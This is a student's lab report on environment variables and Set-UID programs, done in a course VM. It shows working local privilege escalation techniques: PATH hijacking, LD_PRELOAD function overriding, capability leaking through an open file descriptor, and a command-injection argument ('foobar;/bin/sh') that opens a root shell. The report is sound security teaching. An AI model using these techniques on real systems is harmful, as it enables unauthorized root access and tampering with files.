James Stocwell
CS 574

Environment Variable and Set_UID Program Lab

1 Lab Tasks

1.1 Task 1: Manipulating Environment Variables

By following the lab instructions I set and then unset a new environment variable called TEST1 with the value “foobar”

Observation:

```
[09/19/24]seed@VM:~$ printenv TEST1
[09/19/24]seed@VM:~$ export TEST1=foobar
[09/19/24]seed@VM:~$ printenv TEST1
foobar
[09/19/24]seed@VM:~$ unset TEST1
[09/19/24]seed@VM:~$ printenv TEST1
[09/19/24]seed@VM:~$
```

1.2 Task 2: Passing Environment Variables from Parent Process to Child Process

By running 2 variations of the myprintenv.c the lab demonstrates how a parent process passes environmental variables to its child process.

Observation:

```
[09/20/24]seed@VM:~/.../Labsetup$ diff file1 file2
[09/20/24]seed@VM:~/.../Labsetup$
```

There is no difference whatsoever between the list of environment variables printed by the parent and child processes.

1.3 Task 3: Environment Variables and execve()

By running 2 variations of myenv.c the lab demonstrates how execve() is passed environment variables.

Observations:

```
[09/20/24]seed@VM:~/.../Labsetup$ diff file3.1 file3.2
0a1,49
> SHELL=/bin/bash
> SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1937,unix/VM:/tmp/.ICE-unix/1937
> QT_ACCESSIBILITY=1
> COLORTERM=truecolor
```

Without passing in the environmental variables from the calling process, execve() will have no environmental variables.

1.4 Task 4: Environment Variables and system()

By following the instructions the lab demonstrates how system() is passed environment variables when called.

Observations:

```
[09/21/24]seed@VM:~/.../Labsetup$ cat task4.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
        system("/usr/bin/env");
        return 0;
}
[09/21/24]seed@VM:~/.../Labsetup$ gcc task4.c
[09/21/24]seed@VM:~/.../Labsetup$ a.out
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
```

As expected the system() function has access to the environment variables without needing them to be passed in like with execve().

James Stocwell
CS 574

1.5 Task 5: Environment Variable and Set-UID Programs

By following the lab instructions the lab demonstrates how Set-UID programs inherit environment variables from the calling shell.

Observations:

```c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;
int main()
{
        int i = 0;
        while (environ[i] != NULL){
                printf("%s\n", environ[i]);
                i++;
        }
}
```

```
[09/21/24]seed@VM:~/.../Labsetup$ export PATH=/usr/local/sbin:/usr/local/bin:/u
sr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/no/where
[09/21/24]seed@VM:~/.../Labsetup$ export LD_LIBRARY_PATH=/some/where:
[09/21/24]seed@VM:~/.../Labsetup$ export FOOBAR=foobar
[09/21/24]seed@VM:~/.../Labsetup$
```

```
[09/21/24]seed@VM:~/.../Labsetup$ ./foo.out | grep PATH
WINDOWPATH=2
LD_LIBRARY_PATH=/some/where:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/u
sr/local/games:/snap/bin:/no/where
[09/21/24]seed@VM:~/.../Labsetup$ ./foo.out | grep FOOBAR
FOOBAR=foobar
[09/21/24]seed@VM:~/.../Labsetup$
```

The Set_UID program recognizes the newly exported environment variables. I have noticed if I set the PATH variable blank then many commands will no longer work.

1.6 Task 6: The PATH Environment Variable and Set-UID Programs

We demonstrate a potential vulnerability of Set-UID programs when they use environment user exported environment variables such as PATH. We also see a countermeasure put in place in Ubuntu to prevent the exploit.

Observations:

```c
int main()
{
        system("ls");
        return 0;
}
```

```
[09/22/24]seed@VM:~/.../Labsetup$ export PATH=/home/seed:$PATH
[09/22/24]seed@VM:~/.../Labsetup$ sudo chown root foo6.out
[09/22/24]seed@VM:~/.../Labsetup$ sudo chmod 4755 foo6.out
[09/22/24]seed@VM:~/.../Labsetup$ foo6.out
[09/22/24]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[09/22/24]seed@VM:~/.../Labsetup$ foo6.out
a.out       file2.2   foo7.out           mylib.c       task4.c
cap_leak.c  file3.1   foo.out            mylib.o       task5.c
catall.c    file3.2   libmylib.so.1.0.1  myprintenv.c  task6.c
file2.1     foo6.out  myenv.c            myprog.c
[09/22/24]seed@VM:~/.../Labsetup$
```

The Set-UID program simply won't run due to the built in shell countermeasure. When the link is changed however the program runs normally.

1.7 Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

In this task we find how Set-UID programs are affected during the dynamic linking process by modified environment variables. We also test to find under what circumstances does Linux lock out the ability to exploit this behavior.

Observations:

```c
#include <stdio.h>
void sleep (int s)
{
        printf("I am not sleeping!\n");
}
```

```c
#include <unistd.h>
int main()
{
        sleep(1);
        return 0;
}
```

```
[09/21/24]seed@VM:~/.../Labsetup$ gcc myprog.c -o foo7.out
[09/21/24]seed@VM:~/.../Labsetup$ ./foo7.out
I am not sleeping!
[09/21/24]seed@VM:~/.../Labsetup$ sudo chown root foo7.out
[09/21/24]seed@VM:~/.../Labsetup$ sudo chmod 4755 foo7.out
[09/21/24]seed@VM:~/.../Labsetup$ ./foo7.out
[09/21/24]seed@VM:~/.../Labsetup$
```

```
root@VM:/home/seed/Desktop/Lab1/Labsetup# chown root foo7.out
root@VM:/home/seed/Desktop/Lab1/Labsetup# chmod 4755 foo7.out
root@VM:/home/seed/Desktop/Lab1/Labsetup# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/Desktop/Lab1/Labsetup# ./foo7.out
I am not sleeping!
root@VM:/home/seed/Desktop/Lab1/Labsetup# exit
[09/22/24]seed@VM:~/.../Labsetup$ sudo chown user1 foo7.out
[09/22/24]seed@VM:~/.../Labsetup$ sudo chmod 4755 foo7.out
[09/22/24]seed@VM:~/.../Labsetup$ su user1
Password:
$ cd ~seed/Desktop/Lab1/Labsetup
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ ./foo7.out
I am not sleeping!
$
```

Extra test I did, running the program as seed while it's owned by user1.

```
[09/22/24]seed@VM:~/.../Labsetup$ sudo chown user1 foo7.out
[09/22/24]seed@VM:~/.../Labsetup$ sudo chmod 4755 foo7.out
[09/22/24]seed@VM:~/.../Labsetup$ export LD_PRELOAD=./libmylib.so.1.0.1
[09/22/24]seed@VM:~/.../Labsetup$ ./foo7.out
[09/22/24]seed@VM:~/.../Labsetup$
```

Judging from the various tests I did I gathered that when the EUID and the RUID of the process don’t match then the user’s exported environment variables will not be used.

1.8 Task 8: Invoking External Programs Using system() versus execve()

In this task we demonstrate a major security vulnerability when calling the system() function in set-UID programs unrelated to the use of environment variables.

Observations:

```
[09/22/24]seed@VM:~/.../Labsetup$ foo8.out "foobar;/bin/sh"
/bin/cat: foobar: No such file or directory
# 
```

By adding another command into the program's user input we are able to exploit a vulnerability in system() and open up a root shell, which would allow us to modify any file we please.

```
[09/22/24]seed@VM:~/.../Labsetup$ foo8.out "foobar;/bin/sh"
/bin/cat: 'foobar;/bin/sh': No such file or directory
[09/22/24]seed@VM:~/.../Labsetup$ 
```

Switching the use of system() with execve() does not allow the same exploit to work, making it a much safer function to use.

1.9 Task 9: Capability Leaking

In this task we demonstrate an instance of capability leaking where flawed code in a ser_UID program allows normal users to retain privileged access to some files.

Observations:

```
[09/22/24]seed@VM:~/.../Labsetup$ cat /etc/zzz
Company Secrets!!
[09/22/24]seed@VM:~/.../Labsetup$ foo9.out
fd is 3
$ echo "Secrets stolen!!" >& 3
$ exit
[09/22/24]seed@VM:~/.../Labsetup$ cat /etc/zzz
Company Secrets!!
Secrets stolen!!
[09/22/24]seed@VM:~/.../Labsetup$ 
```

Because the fd file in the source code is never told to close, it remains open to the user who called the Set-UID program, allowing them to write to files they would not have write access to. Here I use the echo command to write to /etc/zzz after it was opened by the program.